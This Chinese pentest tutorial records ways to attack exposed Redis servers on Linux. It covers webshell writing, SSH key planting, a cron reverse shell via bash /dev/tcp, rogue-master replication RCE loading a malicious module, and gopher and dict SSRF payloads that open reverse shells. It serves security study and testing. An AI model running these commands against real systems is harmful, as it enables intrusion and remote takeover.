本文原链接:浅析Linux下Redis的攻击面,本文只做攻击面记录,搭建请看菜鸟教程或者上述文章
redis3.2.0前无密码登录且暴露6379
redis为了方便,在3.2.0版本前无密码登录
且对外暴露6379
1 | 1.docker run --name redis -p6379:6379 -d redis:3.0 |
- Tips:3.2.0之后虽然增加了保护模式只允许本地访问,但是还是默认无密码
redis信息泄露
info
命令泄露服务器信息,系统版本和进程id等config get *
获取所有配置信息
采用的是键值对存储的方式,这个命令只获得值,不获得键
备份文件写webshell
当redis对web目录有可写权限时,可以通过
- 设置备份文件位置
- 设置备份文件名字
- 设置键值对
三步来写webshell,常用payload:
1 | flushall #清空缓存 |
但是清空缓存这个操作容易给业务造成影响,我们了解到redis服务器默认数据库有16个
因此可以用选取其他空数据库的操作代替flushall
操作
1 | select 5 # 选取空数据库 |
查看/tmp下的shell.php文件
- Tip:如果担心选取的数据库有数据,可以使用dbsize查看数据大小
写入SSH免密登录
这种场景一般用于没有web应用的服务器,即前后端分离
,当要连接的服务器上的authorized_keys文件里面存在你的ssh公钥的话,可以直接免密登录
利用条件
- 需要存在.ssh文件夹
- 对.ssh文件夹有访问权限
操作步骤:
1 | 1. ssh-keygen -t rsa |
尝试连接
1 | ssh root@192.168.78.129 -i id_rsa |
-i用于选择认证文件
但是有时候认证不成功还是要密码,文章里说是需要开启/etc/ssh/sshd_config
中的PubkeyAuthentication yes
CentOS写入计划任务反弹shell
Ubuntu无法利用原因:
- /etc/crontab,脏数据解析失败
- /var/spool/cron/crontabs/root,redis默认写入644非600,提示失败
CentOS下利用:
1 | set y "\n* * * * * bash -i >& /dev/tcp/10.153.97.151/5544 0>&1\n" |
查看定时任务执行状态:
1 | tail -f vim /var/log/cron |
建议在尝试ssh失败后判断是否是centos机器后使用计划任务反弹shell
低版本redis 无损写文件
这个能实现无损写文件,如果权限够高,也可以尝试下,因为无损写文件原理主从同步,从redis2.8开始,module模块加载是从redis4.0开始的,所以在低版本的redis,或许会有一些作用,但是我遇到的环境比较少,感觉linux下作用真的不大,简单提提。
主从复制RCE
说明
这个攻击方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享出来的,可以说这个技术,为redis的攻击撕开了一个全新的口子,打就是rce获取的就是redis运行的权限,比之前那些需要高权限的方法来的更加普遍和使用。
利用范围
4.x-5.x
原理
(1) 支持传输备份文件
(2)支持加载so链接库,拓展命令
第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
第二步,我们设置备份文件名为so文件
第三步,设置传输方式为全量传输
第四步加载恶意so文件,实现任意命令执行
这里重点是实现全量传输:
全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
利用流程
Dliv3师傅的工具: https://github.com/Dliv3/redis-rogue-server
主动连接模式
适用于目标Redis服务处于外网的情况
外网Redis未授权访问
已知外网Redis口令
启动redis rogue server,并主动连接目标redis服务发起攻击
1 | python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port> |
参数说明:
- –rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
- –rhost 目标redis服务IP
- –rport 目标redis服务端口,默认为6379
- –lhost vps的外网IP地址
- –lport vps监控的端口,默认为21000
攻击成功之后,你会得到一个交互式shell
攻击端执行
被动连接模式
适用于目标Redis服务处于内网的情况
通过SSRF攻击Redis
内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
这种情况下可以使用–server-only选项
1 | python3 redis-rogue-server.py --server-only |
参数说明:
- –server-only 仅启动redis rogue server, 接受目标redis的连接,不主动发起连接
在攻击机执行命令:
1 | python3 redis-rogue-server.py --server-only |
此处显示绑定本地端口为21000
在redis机子执行如下命令:
1 | config set dir ./ |
设置备份,slaveof将我们的攻击机设置为主节点,然后将exp.so复制到当前目录下加载利用,完事就清理痕迹
成功!!!
- Tip:经过测试,这个payload打的时候会重置所有数据库内容,所以慎用
当config不可用时可用主从复制
直接执行
1 | slaveof x.x.x.x 21000 |
此刻观察docker里面的/data目录
只不过是exp.so变成了dump.rdb而已,换个名字继续
1 | module load dump.rbd |
SSRF对redis的利用
dict和gopher协议的区别
dict协议
dict协议,字典服务器协议, A Dictionary Server Protocol 。
dict是基于查询响应的TCP协议。
格式:
1 | dict://server:port/命令:参数 |
请求dict://127.0.0.1:6666/one:1
这里dict有个比较好的特点就是会再末尾补上\r\n
不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码。
gopher协议
互联网上使用的分布型的文件搜集获取网络协议。
支持多行输入。
使用格式:
1 | gopher://serverip:port/_data |
发出请求curl gopher:///127.0.0.1:6666/_data:one%0d%0a123
无认证SSRF攻击
dict攻击
还是主从复制那一套,只不过方式变成了dict://协议一条条执行
1 | 1.连接远程主服务器 |
gopher协议攻击
使用gopherus工具快速实现写shell:
1 | 1.git clone https://github.com/tarunkant/Gopherus.git |
- 主从复制
1
2
3
4
5#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit
#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit
有认证的SSRF攻击
设置监听
1 | tcpdump -i lo port 6379 -w redis.pcap |
查看
这就是认证过程
1 | import urllib.parse |
脚本模拟,得到%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a
直接在gopher协议的前面拼接这段验证就可以实现有验证的SSRF
通用利用脚本
文章作者还给了个利用脚本感觉不错,是用于实现有验证和无验证的主从复制
1 | #!/usr/bin/python3 |
想要有验证的话更改authpass就好
redis触发反序列化
这种场景主要是redis里面存储的内容,最终会被程序反序列化,从而导致触发处反序列化漏洞。
题目来源:https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA